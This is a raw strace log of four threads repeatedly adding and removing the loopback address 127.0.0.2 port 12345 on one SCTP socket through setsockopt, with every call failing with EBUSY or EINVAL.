[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
